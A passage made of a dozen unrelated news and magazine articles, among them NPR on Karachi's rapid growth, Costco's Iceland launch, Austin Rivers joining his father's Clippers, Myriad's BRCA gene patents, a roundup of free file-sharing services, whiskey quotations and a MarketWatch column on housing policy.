times larger now than it was at the end of World War II. That tremendous growth caught the interest of NPR's Morning Edition co-host Steve Inskeep, who has made numerous reporting trips to Pakistan over the past decade. In his new book, Instant City: Life and Death in Karachi, Inskeep explores the growing pains — and the vitality — of a city experiencing explosive population growth. "Karachi is an example of something that is happening all around the world," Inskeep tells Michele Norris on All Things Considered. "There's been an incredible growth of urban areas since the end of World War II even in the United States. [Metropolitan] Los Angeles is more than three times larger than it was. ... Houston is six times larger. Istanbul is 10 times larger. ... We could go around the world like this." Inskeep set out to explore what happens when a city experiences this sort of rapid population expansion. "It's not just the birth rate; it's mass migration," he explains. "And that means it is different kinds of people coming together and clashing in this landscape that, for all of them, is entirely new. The city as we see it today didn't really exist 30, 40, 50, 60 years ago." 'Full Of Incredible Life' When the partition of India took place in 1947, Karachi was a colonial port city of about 400,000 people. It's now grown into a crowded, industrial, polluted city of more than 13 million people, Inskeep says. "There are red streams going down the streets that people say are pollution from tanneries. There's raw sewage going into the harbor. But at the same time, it's a city full of incredible life and incredible improvisation." Real estate around the city is often taken illegally. Building, buying and selling houses often revolves around bribes. "In many ways, it's a city that lives beyond the law, but it's a city that lives and a city that has a vibrancy to it that's hard to find elsewhere," Inskeep says. Enlarge this image toggle caption Linda Fittante/Penguin Group Steve Inskeep is co-host of NPR's Morning Edition. Instant City: Life and Death in Karachi is his first book. Linda Fittante/Penguin Group In Instant City, Inskeep makes the counterintuitive argument that as Karachi becomes a less diverse place, it actually becomes a more dangerous place. When India and Pakistan were divided into two separate countries in 1947, one was meant to be majority Hindu and the other majority Muslim. "There was a mass exodus of people who found themselves on the wrong side of the dividing lines," Inskeep says. "Hindus left Karachi by the hundreds of thousands, and even more Muslims came. You would think that would make it more stable. It actually became less stable over time." A Place Of Opportunity In a city that has grown so fast over a relatively short period of time, growing pains are acute; local conflicts over power, money and land lead to violence, Inskeep says. But in many ways, the city benefited from its instant and explosive growth — it has become resilient and vital. "People come to this place that we think of as being terrible and polluted and poor, because it's actually rich," Inskeep says. "There's a lot of money to be made in Karachi even though there are a lot of poor people, and people will come from the countryside seeking jobs ... seeking education." Better urban planning would help, but it's been hard to achieve. In Karachi and in other fast-growing cities around the world, when urban planners have attempted to manage growth, the cities have continued to expand beyond the capacity. To people in the West, "instant cities" like Karachi are often seen as teeming metropolises that are plagued by poverty and blight. But for those who come from places where the poverty is even worse, these huge metropolises are shining cities, full of promise and potential. "There are shining glass towers in Karachi," Inskeep says. "Not as many as people would like there to have been by this point, but there are some. You do have people who ... see the city as a glittering opportunity, an opportunity for jobs, for connections, for a future." A Barometer For The Region Inskeep sees many possibilities for the future of Karachi, a city situated in one of the most troubled parts of the world. "Pakistan has real demons to wrestle with," Inskeep says. "Pakistan has been facing year after year after year of bad news." Karachi's great growth is in some ways a symbol of deep distress, although it is also a symbol of hope, because it is people still driving to make their lives better. The rise of militant and extremist Islamic groups has troubled the citizens of a country that was once safer and more tolerant, says Inkseep: "You'll hear people saying, 'I don't recognize the country that I once knew.' " The population growth in Karachi is a "barometer," Inkseep believes, for what's happening elsewhere in the country. "The more trouble there is in Pakistan — whether it's political, religious violence, the climate events like the ... disastrous floods the last couple of years — each one of these kinds of events tends to drive people toward a city where they have a little better chance of improving their lot, a little better chance of getting an education, finding a job." So the tremendous growth Karachi has seen can be seen in two ways — a negative push or a positive pull. "Karachi's great growth is in some ways a symbol of deep distress," Inskeep says, but "it is also a symbol of hope, because it is people still driving to make their lives better." -Costco, the US-based chain of warehouse stores, opened its first branch in Iceland on May 23. This year. To call this a big event in Iceland’s consumer landscape is an understatement. One in eight Icelanders had already signed up for membership by the time doors opened in a Reykjavik suburb. Units from the country’s famed search and rescue teams were called in to manage crowd control on opening day. A Facebook group called Keypt í Costco Ísl.—Myndir og verð (Bought in Costco Iceland— Pictures and prices) has more than 62,000 members, one-fifth the national population of 334,000. There, members compare breathless notes on the prices of big screen TVs, multi-packs of frozen Indian samosas, mixed-nut canisters the size of small dogs, and toilet paper. It’s not just about the nuts. For many shoppers, the opening of a chain like Costco is a chance to stick it to a really unpopular group in Iceland: other chain stores. “People are excited about [Costco] because it is a chance to boycott the big chains that control all the prices and show that people will not have it any longer,” one Iceland native now living in California told Quartz. Prices for food and other consumer goods in Iceland are more than 70% higher than US equivalents. Gasoline prices are among the highest in Europe. Price comparison is something of a national obsession. Neytandinn, an app that lets users compare consumer purchase receipts, is the number one app in Iceland for both Android and iOS, a local news site reported. Users jumped by one-third in the days after Costco opened. Several factors keep prices high, notably the costs of labor and shipping. But another key reason identified in a 2015 OECD report is lack of competition. Many of the Facebook group’s post are less complimentary of Costco than they are critical of Bónus, Krónan and Nettó, the country’s three main grocery chains. Costco’s relatively inexpensive gasoline, now the cheapest available in Iceland, has led to criticism of the country’s fuel suppliers, long suspected of collaborating to keep prices high. The new Costco charges 169.9 Icelandic krónur per liter, the equivalent of $6.40 per US gallon. A liter of gas at a typical non-Costco pump is 198.9 krónur, or $7.50 per gallon. “It’s great to see that we’re getting some real competition on this market,” Runólfur Ólafsson, managing director of Iceland’s auto association told a local news source. Local fuel companies, he said, “owe an explanation to Icelandic consumers.” -LOS ANGELES -- When Los Angeles Clippers coach Doc Rivers called his son Austin and asked if he wanted to play for him, the younger Rivers said he needed time to think about it and make a phone call. "The first thing I did was call my mom," Austin Rivers said. "She's going to have to deal with this. She was a wreck the first night. She was calling me, 'What if this happens and what if that happens?' I was like, 'Mom, it's not on anybody but me and him.' At the end of the day, my job is to play and compete and that's it. It's not like in the last second of the game I'm going to have the ball in my hands. I know my role here. I know Chris [Paul] and Blake [Griffin] are the leaders." Editor's Picks Pelton: Clippers get F for Rivers deal Kevin Pelton serves up his grades for the three-team trade in which the Los Angeles Clippers got Austin Rivers. It was never Austin's dream to play for his dad, and it was never Doc's dream to coach his son. In fact, both of them have been on the record in the past saying they would like to stay in their separate lanes. But when Austin became available at the same time the Clippers were looking for a defensive-minded guard to help spark the second unit, Doc and particularly those around him couldn't ignore the opportunity, regardless of the unique circumstances. "The group around me, our coaches, [general manager] Dave Wohl and [vice president of basketball operations] Kevin Eastman said he fits our team," Doc said. "For me I was like, 'I don't know,' but at the end of the day my job is to do what I think is best for the team, not what's best for me or what's comfortable for me. We felt like this was. That probably swayed me more than the father part swayed me, I can tell you that. I was probably on the other way that way, but as far as an executive I had to think of it in those terms, and it made sense for us." Doc still had to discuss the deal with Austin -- who had been traded from New Orleans to Boston in a three-team deal last week -- and see if he was willing to play for his father. "He's always done his thing and I've done mine, and to be honest I never thought something like this would happen," Austin said. "He called me up and asked me, 'Is this something you might be interested in because we need you.' When I heard that it was one of those things I had to think. I had to take a day to myself and think could this work, and it does." Rivers came into the game without any practice, having spent the last four days in New Orleans waiting for the trade to be finalized. A father had never coached his son in an NBA game before Friday, until Austin made his Clippers debut in the first quarter of Friday night's 126-121 loss to the Cleveland Cavaliers. He shot 0-for-4 from the field and 0-for-2 from 3-point range with one assist and one turnover in 12 minutes of action. "I was thinking too much," he said afterward. "I was trying to be perfect and please everybody." And while it would appear to be difficult waters to navigate for any parent and a child, Austin said before the game that his relationship with his father makes it easier than most. Austin was raised in Orlando, Florida, went to Duke, and was drafted by New Orleans while Doc coached the Boston Celtics from 2004 to '13. "The relationship I have with him is already basketball-oriented," Austin said. "He was in Boston and I grew up in Orlando. It's not so much like father-son, it's coach-player. Off the court, we deal with that a different way." Austin Rivers slaps hands with father Doc during his Clippers debut Friday night in Los Angeles. AP Photo/Mark J. Terrill Off the court, Austin wasn't just dealing with his mother and father; he was getting calls from his brother, Spencer, a freshman at UC Irvine; his other brother, Jeremiah; and sister, Callie, who all live in Los Angeles. They all wanted him to come there. "My brother plays out here and he said come so you can watch my games, I don't even think he was thinking for me, he was thinking for himself," Austin said. "My sister works out here, too, and I don't really get to see them that much. It was one of things when the decision happened, I called my mom first and then after that my brothers and my friends called me and said I should do it. Not just because of my father but because it's a good opportunity to help a team that's right there. When I look at it that way there's no reason not to come here." Rivers was averaging 6.8 points, 2.5 assists and 1.9 rebounds this season in 35 games in 22.1 minutes before being traded. Rivers has started only three games this season and seven over the past two seasons. He is shooting just 38.7 percent from the field and 28 percent from 3-point range in 2014-15. New Orleans drafted Austin with the No. 10 pick in the 2012 draft, which the team had acquired from the Clippers as part of the trade for Chris Paul. Rivers, 22, entered the draft after just one year in college. He would currently be in the midst of his senior year at Duke had he stayed in school. Austin was born in Santa Monica, California, and lived in Southern California for two years while his father was a player for the Clippers during the 1991-92 season. Austin dismissed any notion that his father would give him preferential treatment regardless of how he is playing. "My dad is too focused on his thing for that to even be an issue; that's almost a disrespectful thing to my dad," Austin said. "My dad would never, ever play me over somebody because I'm his son. If I'm not playing well, I'm sitting on the bench. He wants to win. My dad's the type of guy when I was 5 years old, we played checkers and he would not let me win. That's just how he is. He's not doing any favors for me." Doc and Austin didn't foresee any chemistry issues in the locker room after the trade, and Austin believes the players already in the locker room will actually make the transition easier for him. "I have to earn everything here, and the guys know that," Austin said. "If we didn't have high-character guys here I don't think he would have made the move, but they're all high-character guys and they know I will play because I should play, and if I shouldn't, I won't. I'm just here to have a good attitude and help the team." Information from The Associated Press was used in this report. -NEW YORK (Reuters Life!) - Most women would marry for love over money — unless the man is unemployed, according to a new survey. A man puts an engagement ring on a woman's finger during a photo opportunity at a jewellery store in Tokyo June 2, 2009. REUTERS/Yuriko Nakao Three out of four women said they would not wed someone without a job, and 65 percent would feel uncomfortable tying the knot if they themselves were jobless. But more than 91 percent of single women said they would marry for love over money. “It is ironic that women place more weight on love than money, yet won’t marry if they or their potential suitor is unemployed,” said Meghan Casserly, of ForbesWoman which conducted the survey with the website YourTango.com. Even more telling, she said, is that 77 percent of women surveyed believe they can have it all — a fulfilling relationship and family life, as well as a successful career. But 63 percent of women said they work 40-59 hours, and 62 percent of women in a relationship said they spend just three waking hours or less with their partner during the work week. “The career is really taking the No. 1 position for working women,” Casserly said. “It’s pretty ironic that this number of women believe they can have everything. How? When?” Two out of five women in a relationship said their job was most likely to keep them up at night, according to the poll of 625 women. Job responsibilities and love life tied as the factors most likely to keep single women awake. Thirty-two percent of women said they make more money than their partner and half said they would marry someone who earned significantly less than them, while 41 percent wouldn’t. Fifty-five percent of women said they would give up their career to take care of children if their partner asked them to do so. But only 28 percent would ask the same of their partner. If women could find an extra hour in each day, 42 percent would spend it by themselves, instead of with their partner, friends or family or on work. The survey results are available here and here -Actress Angelina Jolie leaves Lancaster House after attending the G8 Foreign Minsters' conference on April 11, 2013 in London, England. - Oli Scarff/Getty Images Listen To The Story Marketplace Embed Code Update: This story has been updated with a comment from Myriad Genetics. Angelina Jolie wrote an Op-Ed in today's New York Times about her decision to have a double mastectomy. The actress didn't have breast cancer, but tests showed she had almost a 90 percent chance of developing it. The key was finding a mutation in a gene known as BRCA-1, and Jolie appealed for the test to be made more accessible to women around the world. At the moment, if you want to get tested for a mutation on your BRCA-1 or BRCA-2 genes, you will have to turn to Myriad Genetics. That's the company that discovered the link between those mutations and an elevated risk cancer -- and it patented the BRCA-1 and BRCA-2 genes. The price tag on a BRCA-1 and BRCA -2 test? More than $4,000. "Because Myriad has a monopoly on the genetic testing, they determine the cost of that test," says Sandra Park, senior staff attorney at the ACLU's Women's Rights Project. Park argued before the Supreme Court last month that Myriad shouldn’t be able to patent a gene and control research. One of the main arguments against gene patents is that they hamper scientific progress. "The charge has been that patents reduce the willingness of researchers to explore in the same genetic area, because they have to pay fees," says Art Caplan, director of medical ethics at NYU Langone Medical Center. Biotech companies say they need patents to help fund research. Myriad spent $500 million developing its BRCA tests. The company declined to comment to Marketplace before deadline. Myriad subsequently issued a statement saying its diagnostic tests can reduce illness and potentially lower health-care costs by preventing cancer treatments. It added that more than one million women have been tested, and thanks to health insurance, their average cost was about $100. The BRCA gene tests account for more than 80 percent of Myriad's sales. That revenue would be at risk if the Supreme Court rules against the company next month. "Let me tell you, it would be problematic for Myriad," says Les Funtleyder, a health-care strategist for investment firm Poliwogg. Still, Funtleyder says, most biotech companies don’t rely on patenting a certain gene, so the Supreme Court decision is unlikely to have a huge impact on the industry. "It might put a damper on things," he says, "but I don't think it's going to be a deal-breaker for genetic analysis." For now, though, Myriad is riding high. Thanks in part to Angelina Jolie’s New York Times Op-Ed, shares of Myriad rose three percent today. “I think the best compliment I can give is not to say how much your programs have taught me (a ton), but how much Marketplace has motivated me to go out and teach myself.” – Michael in Arlington, VA As a nonprofit news organization, what matters to us is the same thing that matters to you: being a source for trustworthy, independent news that makes people smarter about business and the economy. So if Marketplace has helped you understand the economy better, make more informed financial decisions or just encouraged you to think differently, we’re asking you to give a little something back. Become a Marketplace Investor today – in whatever amount is right for you – and keep public service journalism strong. We’re grateful for your support. BEFORE YOU GO -The rift between President Obama and FBI Director James B. Comey over the impact of the Black Lives Matter movement deepened Thursday, with the White House again disputing Mr. Comey’s assertion that it’s the cause of spiking crime in major cities. “We just need to make sure that our policy approach to addressing this situation is rooted in evidence and facts,” said White House press secretary Josh Earnest. “It’s clear that we don’t have enough evidence at this point.” For the second time in recent months, Mr. Comey said Wednesday that he believes a spike in violent crime in many cities may be due to officers’ fears of appearing on Internet videos confronting suspects. He told reporters that a “viral video effect” is leading to less aggressive policing that “could well be at the heart” of an increase in murders in many cities. “There’s a perception that police are less likely to do the marginal additional policing that suppresses crime — the getting out of your car at two in the morning and saying to a group of guys, ‘Hey, what are you doing here?’” Mr. Comey said. Although violent crime rates nationwide are near historic lows, a surge in more than 40 big cities is causing concern across government agencies trying to understand and respond. Crime rates have risen in those cities in the first three months of 2016, according to a briefing the FBI director received on Wednesday. He said two cities that stood out especially in the latest tallies were Las Vegas and Chicago. In Chicago murders are up 54 percent and shootings up 70 percent over the same period last year. “I don’t know what the answer is, but holy cow do we have a problem,” he said. “It’s a complicated, hard issue, but the stakes couldn’t be higher. A whole lot of people are dying.” Last fall, Mr. Comey referred to the trend as “the Ferguson effect,” a reference to the Missouri city where a white officer shot unarmed black teen Michael Brown, sparking the Black Lives Matter movement, with which the president has expressed support. Mr. Earnest said Mr. Obama last year directed the Justice Department to work with communities affected by the surge in violent crime, resulting in a program to capture more violent fugitives. “That six-week initiative resulted in the arrest of more than 8,000 gang members, sex offenders and other violent criminals,” Mr. Earnest said. “That is an indication of the important role that federal law enforcement can play in supporting the work of local law enforcement in these communities.” But he said Mr. Comey really doesn’t know the reasons for the surge in urban crime. “The FBI director actually made clear that he didn’t know exactly what was going on either,” Mr. Earnest said. “The president’s point is we need to make policy decisions that are based on facts and evidence and not anecdotes. There is still no evidence to substantiate the claim that the increase in violent crime is related to an unwillingness of police officers to do their job.” Copyright © 2019 The Washington Times, LLC. Click here for reprint permission. -File sharing services are not as popular today as they were four years ago. It’s not that people are sharing any less. Rather, they just found easier ways to do it. Would you upload a funny video from a friend’s email to any of those services or would you search for it on Youtube and share only the link? Would you upload an MP3 file in order to share with whomever, or would you search for it online, grab the link and then share it? And finally, would you use a file-sharing app just to share a picture on Facebook when you can do it directly from your desktop to your Facebook profile? Of course, you wouldn’t! So why would you use an file-sharing app anyway? Actually for many reasons: for larger files, for privacy, multiple files, file format support, and more. In this post, I compare 16 file-sharing services. I took three main issues under consideration when creating the comprehensive app list below: Free, Fast, and Useful . . . Most of the services suggested require no registration. None of them will ask you to download anything to your computer, and all of them are easy to use, and worth using. It is actually great to see services, such as Yousendit, MailBigFile, and Rapidshare, that are still relevant and are good choices, but if I had to pick one it would be Mediafire. Don’t get confused now. This is not a list of services that let you store all your files in the cloud, organizes them, or allows you to collaborate with friends. It’s more focused on file-sharing only, in the richest capacity—well, okay, you be the judge of that. Box.net is probably the most commonly-known site featured here. But I couldn’t keep it from the list because it’s really a good one and despite all its features, it’s actually simple to use. The light version is not so attractive though. Here’s what you get: File uploads up to 25MB/file (OK, that’s pretty lame). 5 collaboration folders, 1GB storage, mobile access, public file sharing, folder widget, and a few more options. The other plans are far richer, but for personal use, the free one is enough (except for the lame file uploads limit). One thing that bothered me is that you can’t upload a file without signing up. That’s the old fashion way, don’t you think? Rapidshare is lacking in features & design, but if you’re looking for a one-click file host, you came to the right place. Founded in 2006, the service is the twelfth most visited homepage in the world. With Rapidshare, users can upload big files (200MB) in one step and subsequently make them available to friends and family via the download link. Premium accounts offer additional convenience, through TrafficShare that provides the option to make files available for direct downloading. The recipient of the file can access it instantaneously even if he/she is not a premium account member of RapidShare. A file can be downloaded 10 times, and will be deleted after 90 days. I always liked drop.io and even now with much more usage than before, it is still simple to understand. No need to sign up in order to quickly send a private link with your file(s). Maximum file upload is 100MB, but there are three different packages that will give you a whole lot more. Back to the free service; you can share, collaborate, and present music, videos, documents, audio, in a private drop, through email, web, phone, fax, and more. Additionally, you’ll be able to privately chat with the people you share a file with, in real-time. Filedropper aims to give the most basic file hosting service that enables you to share stuff quickly. Therefore, there’s nothing complicated here, just upload the file, and share it. Simple as that. Filedropper says you can upload up to 5GB per file, which looks a bit odd to me – after all, who needs that (unless you are transferring HD videos, I guess)? Very similar to Filedropper, is FileSavr, which offers you the same package completely, with a slight change: uploads up to 10GB per file… I actually marked this one as a favorite: Wikisend – an elegant and simple interface that helps you share files quickly. Share files with your friends using email, social networks, your blog, forums and so on. You can also protect the file with a password and choose the range of the file’s lifetime up to 90 days (max) You can use Driveway even without registration and send up to 500MB max for each upload. Signing up for a free account offers several advantages: A registered user can upload up to 2 GB of data to the Driveway account. Additionally, you can upload, manage and create widgets for files and folders and search for files/folders within your account. With the free plan of Send6, you can send files up to 100MB size, which you can store in your 250MB free space. Send6 also has a free plug-in for Outlook that allows you to send large files directly from your Desktop. Please note that you don’t need to register to send files to friends. Sharing is done via email only. Zshare is mainly used to share files that are too big to be sent via e-mail. With Zshare you can host files, images, videos, audio and flash in the same place, and as long as they remain active they can be downloaded limitlessly. Zshare lets you upload files up to 1GB, and if you register for the service (still free), you’ll be able to share them privately. Premium members get faster downloads (like most of the services here) and the ability to upload up to 2GB per each upload. Multiple files are allowed in both free and premium lines. Overall, 2large2email has a nice and comfortable email-like interface for sharing large files. How large? 100MB in the free plan. However, if you’re looking for something good and free, 2larg2email is not your answer. The service won’t give you any additional features but password protection, and your files can be downloaded up to 7 times, will be saved for only 7 days, and will expire after that. For more features, you’ll have to pay, or move and chose another service. BTW, I’m not saying that you shouldn’t pay for premium services, but if there are other services for personal use, that offer you more for less, you may want to check them out first. For busy people, Senduit is the best choice there is! It’s a one-page platform that generates a private link from the file you upload (100MB Max) for easy sharing. You can send the link via email through Senduit’s page directly, or copy-paste the link to any other communication channel (IM, Social networks, etc.). You get to choose when the link will expire—from 30 min. to 1 week. I couldn’t find the exact amount that you can upload per file to Flyupload, but the service looks great. Flyupload allows you to store, access, share and backup your digital documents, photographs, and music easily with complete privacy online. Registered users get extra features like 2GB space of files, Multi-uploads with an upload progress bar. You can also upload large files via FTP or create folders and keep track of files and Images. Additionally, Flyupload lets you share files from your database, to your Twitter account with a side tool called: Flyontwit. If I had to choose one service only from this list, Mediafire would be it. The service has a good looking UI, with some great usability. It lets you share files even when you’re not logged in and gives you a set of tools to complete this experience. For individual use, you can freely share files up to 100MB with unlimited uploads, unlimited downloads, unlimited bandwidth, and unlimited storage. This is why you might choose Mediafire over 2large2email, for example. When signing up, Mediafire enables you to organize your files in folders, search and view your files, and email/share/embed with others. It’s the best service that you can get for free. I was surprised to see that underneath the new layout of DivShare is the same great service from three years ago. And, even more surprised to discover some files I had stored 3 years ago in the service are still there! DivShare is a file management service that not only lets you share files, but also saves them for later (for an unlimited period of time). The maximum size per file is 200MB and you have 5GB space for free to start. After the upload, you’ll be able to embed your videos, audio and slide shows on any web site or profile. Diveshare has an iPhone and Facebook applications, a WordPress plug-in and an open API, if you want to build something yourself. Back when I tried MailBigFile in 2005, I thought this was a great service that offered a convenient solution to sending larger files. I still think it’s a good service. You don’t need to sign up, but if you choose to this is the best pro account for your dollar. Even though, you can use the service for free and as long as you want to send up to 200MB per file via email (but with no additional features). MailBigFile has the best price for a pro account – $15/year with an impressive list of features. Last but not least is good old Yousendit, which has never plummeted in its presence online. A reliable and secure service since 2004 that offers the ability to send free 100MB files with a maximum number of 100 downloads allowed per file. You use it just like an email, choose a recipient, send it directly to a person’s inbox, and you get a notification when your file is downloaded. Sharing files, large or small, should be a simple act, in my opinion—not something that should require a major effort or thought process on your behalf or make you create a complicated profile/account to use it. The options I listed here will help you explore the diverse file-sharing opportunities currently available. Whether you need to send a file privately or publicly, small or big, temporary or permanent, the options are all in this list, you just need to find the best match for your needs. (Folder graphic by Photoxpress) -"The drink which enables a man to magnify his joy, and his happiness." There’s little in life better than pouring a double whiskey and sitting down to relax after a long day. Whether you drink Scotch, rye, or bourbon, you are in the company of some of the world’s finest minds and characters. Mark Twain, Winston Churchill, and James Joyce all enjoyed a dram, and they had no reservations about speaking publicly on the subject. To help inspire your deeper investigation of whiskey (or your next whiskey bar outing), we’ve put together a list of the romantic, funny, and even wistful things that celebrated wits, writers, politicians, and even athletes have said about their beloved booze. Scroll down to read our favorite whiskey-related musings. Mark Twain In three words: Besuited American humorist Thoughts on whiskey: “Too much of anything is bad, but too much good whiskey is barely enough.” “Give an Irishman lager for a month, and he’s a dead man. An Irishman is lined with copper, and the beer corrodes it. But whiskey polishes the copper and is the saving of him.” Raymond Chandler In three words: Novelist and screenwriter Thoughts on whiskey: “There is no bad whiskey. There are only some whiskeys that aren’t as good as others.” Winston Churchill In three words: British Prime Minister Thoughts on whiskey: “The water was not fit to drink. To make it palatable, we had to add whisky. By diligent effort, I learned to like it.” Tommy Cooper In three words: British prop comedian Thoughts on whiskey: “I’m on a whisky diet. I’ve lost three days already.” Humphrey Bogart In three words: American actor, Casablanca Thoughts on whiskey: His last words were, “I should never have switched from Scotch to Martinis.” Johnny Carson In three words: Late Night host Thoughts on whiskey: “Happiness is having a rare steak, a bottle of whisky, and a dog to eat the rare steak.” Joel Rosenberg In three words: American author, strategist Thoughts on whiskey: “I’m a simple man. All I want is enough sleep for two normal men, enough whiskey for three, and enough women for four.” Abraham Lincoln In three words: 16th U.S. president Thoughts on whiskey: “Tell me what brand of whiskey that Grant drinks. I would like to send a barrel of it to my other generals.” Tug McGraw In three words: MLB relief pitcher Thoughts on whiskey: “Ninety percent I’ll spend on good times, women, and Irish Whiskey. The other ten percent I’ll probably waste.” Alexander Fleming In three words: Scottish inventor, penicillin Thoughts on whiskey: “A good gulp of hot whiskey at bedtime—it’s not very scientific, but it helps.” Errol Flynn In three words: Swashbuckling movie star Thoughts on whiskey: “I like my whisky old and my women young.” Compton MacKenzie In three words: Proud Scotsman, writer Thoughts on whiskey: “Love makes the world go round? Not at all. Whiskey makes it go round twice as fast.” Nguyen Cao Ky In three words: Vietnamese political leader Thoughts on whiskey: “Americans are big boys. You can talk them into almost anything. Just sit with them for half an hour over a bottle of whiskey and be a nice guy.” Ava Gardner In three words: Glamorous movie star Thoughts on whiskey: ‎”I wish to live to 150 years old, but the day I die, I wish it to be with a cigarette in one hand and a glass of whiskey in the other.” Haruki Murakami In three words: Japanese bestselling author Thoughts on whiskey: “Whiskey, like a beautiful woman, demands appreciation. You gaze first, then it’s time to drink.” George Bernard Shaw In three words: Irish playwright, Pygmalion Thoughts on whiskey: “Whisky is liquid sunshine.” W.C. Fields In three words: American funnyman, actor Thoughts on whiskey: “Always carry a flagon of whiskey in case of snakebite and furthermore always carry a small snake.” “Drown in a cold vat of whiskey? Death, where is thy sting?” Andrew Jackson In three words: Wild 7th president Thoughts on whiskey: “I have never in my life seen a Kentuckian who didn’t have a gun, a pack of cards, and a jug of whiskey.” William Faulkner In three words: Celebrated Southern author Thoughts on whiskey: “My own experience has been that the tools I need for my trade are paper, tobacco, food, and a little whisky.” James Joyce In three words: Dubliners and Ulysses Thoughts on whiskey: “The light music of whiskey falling into a glass—an agreeable interlude.” Igor Stravinsky In three words: Russian pianist, composer Thoughts on whiskey: “My God, so much I like to drink Scotch that sometimes I think my name is Igor Stra-whiskey.” Noah “Soggy” Sweat In three words: Southern legislator, judge Thoughts on whiskey: Sweat gave his famous “If-by-whiskey” speech to the Mississippi legislature in 1953. Author John Grisham’s reading begins at 5:04 in the clip below. “I had not intended to discuss this controversial subject at this particular time. However, I want you to know that I do not shun controversy. On the contrary, I will take a stand on any issue at any time, regardless of how fraught with controversy it might be. You have asked me how I feel about whiskey. All right, here is how I feel about whiskey. If when you say whiskey you mean the devil’s brew, the poison scourge, the bloody monster, that defiles innocence, dethrones reason, destroys the home, creates misery and poverty, yea, literally takes the bread from the mouths of little children; if you mean the evil drink that topples the Christian man and woman from the pinnacle of righteous, gracious living into the bottomless pit of degradation, and despair, and shame and helplessness, and hopelessness, then certainly I am against it. But; If when you say whiskey you mean the oil of conversation, the philosophic wine, the ale that is consumed when good fellows get together, that puts a song in their hearts and laughter on their lips, and the warm glow of contentment in their eyes; if you mean Christmas cheer; if you mean the stimulating drink that puts the spring in the old gentleman’s step on a frosty, crispy morning; if you mean the drink which enables a man to magnify his joy, and his happiness, and to forget, if only for a little while, life’s great tragedies, and heartaches, and sorrows; if you mean that drink, the sale of which pours into our treasuries untold millions of dollars, which are used to provide tender care for our little crippled children, our blind, our deaf, our dumb, our pitiful aged and infirm; to build highways and hospitals and schools, then certainly I am for it. This is my stand. I will not retreat from it. I will not compromise.” RELATED: How to Make Your Own Fireball Whiskey [via Whisky Recommender, Goodreads] -Gander Mountain closing 3 Houston-area stores as it files for bankruptcy File photo of a Gander Mountain grand opening in Laredo. File photo of a Gander Mountain grand opening in Laredo. Image 1 of / 60 Caption Close Gander Mountain closing 3 Houston-area stores as it files for bankruptcy 1 / 60 Back to Gallery Gander Mountain filed for bankruptcy Friday and said it expects to attract a buyer as the company lowers its operating costs as part of its restructuring. The company expects to close 10 of its 22 stores in Texas. In the Houston area, that includes stores at 13441 Westheimer Road, 19820 Hempstead Highway and 19890 Southwest Freeway in Sugar Land In all the St. Paul, Minn.-based chain of 162 stores in 26 states is closing 32 stores over the next several weeks. Gander Mountain said it is in active discussions with a number of parties interested in a going-concern sale and expects to solicit bids prior to an auction to be held in late April. The company expects to submit the winning bid to the bankruptcy court for approval in early May and anticipates a completing the sale by May 15. Here's a list of store closings: Texas (10) - Houston, Killeen, Laredo, Lubbock, Round Rock, San Antonio, Sugar Land, Texarkana, Waco, West Houston Alabama (4) - Gadsden, Mobile, Montgomery, Tuscaloosa Georgia (3) - Augusta, McDonough, Snellville Illinois (3) - Champaign, Algonquin, Springfield Indiana (2) - Merrillville, Greenfield Minnesota (3) - Rogers, Mankato, Woodbury New York (1) - New Hartford North Carolina (2) - Raleigh, South Charlotte Tennessee (1) - Chattanooga West Virginia (1) - Charleston Wisconsin (2) - Eau Claire, Germantown -NBC's "Constantine" isn't hitting small screens until October, but already the show has fans agitated. The drama, based on the DC comics franchises "Hellblazer" and "Constantine," centers on the adventures of con man and supernatural detective John Constantine. Some fans are concerned about the accuracy of the character, not because of the costume or the powers, but because of the title character's sexuality. In the "Hellblazer" comic books, John Constantine is shown as having both male and female lovers, though his sexuality is never explicitly labeled. NBC's version, however, has only planned female love interests for the character. Executive producer Daniel Cerone told Entertainment Weekly at the Television Critics Association’s press tour on Sunday that the character's sexuality was not integral to the character, stating, "In those comic books, John Constantine aged in real time. Within this tome of three decades [of comics] there might have been one or two issues where he’s seen getting out of bed with a man. So [maybe] 20 years from now? But there are no immediate plans.” While it is true that the majority of Constantine's conquests have been female, many fans feel that this is straight-washing, or changing a LGBTQ character into a straight one. Voicing their concerns on social media over the past few days, comic fans have argued that bisexual men are an underrepresented group in the media and changing the sexuality of a queer character is erasure. Fans have flooded Tumblr and Twitter with the hashtag #BiBlazer, calling for people to contact NBC on their social media pages and request that Constantine be written as bisexual. The character's sexuality hasn't been a big plot point in his latest solo series, "Constantine." But there are at least two instances from Constantine's decades-long history that seem hard to ignore. The first is in "Hellblazer" issue #51, in which Constantine thinks to himself (in this panel), "Girlfriends, the odd boyfriend... they all have a nasty habit of walking out on me." The other is a sexual relationship between Constantine and wizard S.W. Manor that occurs during the "Hellblazer: Highwater" arc (though Constantine was conning the wizard at the time). The 2005 film "Constantine," starring Keanu Reeves, does not explicitly state the character's sexuality. -PORT WASHINGTON, N.Y. (MarketWatch) -- What's plaguing the financial markets these days is not a lack of liquidity but a lack of confidence and this won't be restored unless and until policymakers address its root cause: falling home prices. As I have said many times before, policymakers are treating the symptoms when instead they should be trying to cure the disease. The Federal Reserve's offer to swap Treasury securities for certain types of mortgage-backed securities (MBS) is the latest example. This arrangement may temporarily boost prices of these MBSs by taking some of the supply off the market, but it won't last for two reasons: (1) the central bank plans to hold these securities for only 28 days and (2) the home values that form the basis for these securities are still declining. Until home prices stop falling, MBS values won't stabilize. And until MBS values do stabilize, lenders will continue to be wary since they will remain unsure of this and just about every other form of collateral save for the safest Treasuries. To stabilize home prices, I suggested in my column of Feb. 4 that the government step in and split the difference between prices sellers are charging and those that buyers are willing to pay. See related column. While the notion of stabilizing home prices has been accepted, my suggestion has been criticized for a number of reasons. Either it was misunderstood, was viewed as unattractive politically, or was seen as a bailout for sellers. To address these issues, I have come up with another idea. Washington should form an agency akin to the Home Owners' Loan Corporation of the 1930s, an agency that refinanced homes during the Great Depression in an effort to prevent foreclosures. While some people were able to hang onto their homes, many defaulted and the HOLC wound up owning these homes. However, it sold them and by the time this agency closed its doors in the early 1950s, it actually returned a small profit to the government. I envision HOLC II offering to buy all houses for sale at a price not more than three times the median household income in each market. It would then offer to sell these homes to prospective buyers. This could not be construed as a bailout, since many sellers would take a loss -- how much depending on when they bought and how overheated their particular market became. Also, it would not rescue homeowners who bought more house than they should have or took out one home-equity loan too many and are now "upside down" (they owe more than their house is worth). But by returning home prices to a more normal ratio relative to incomes, it would make housing affordable once again. This would get buyers back into the game, but even more important, it would establish a basis for valuing the plethora of 